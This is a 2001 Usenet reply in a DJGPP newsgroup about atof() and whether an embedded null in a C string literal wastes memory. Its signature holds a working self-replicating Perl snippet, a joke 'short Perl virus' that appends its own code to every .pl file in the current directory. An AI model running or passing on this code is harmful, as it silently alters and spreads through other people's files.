From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: Atof References: <3ADDDAE3 DOT 29499 DOT 112013C AT localhost> X-newsgroup: comp.os.msdos.djgpp X-realname: Norberto Alfredo Bensa X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Wed, 18 Apr 2001 20:33:10 +0200 Lines: 20 NNTP-Posting-Host: 213.6.224.25 X-Trace: 987617826 news.freenet.de 8737 213.6.224.25 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Norberto Alfredo Bensa wrote: > > > > Hi, > > i have this problem with atof(); > > > > char *buf = "-21.345\0"; > > while not a bug, you can write "-21.345"... BTW: Does it waste one byte? That is, does "\000TEST" allocate one or six bytes? -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################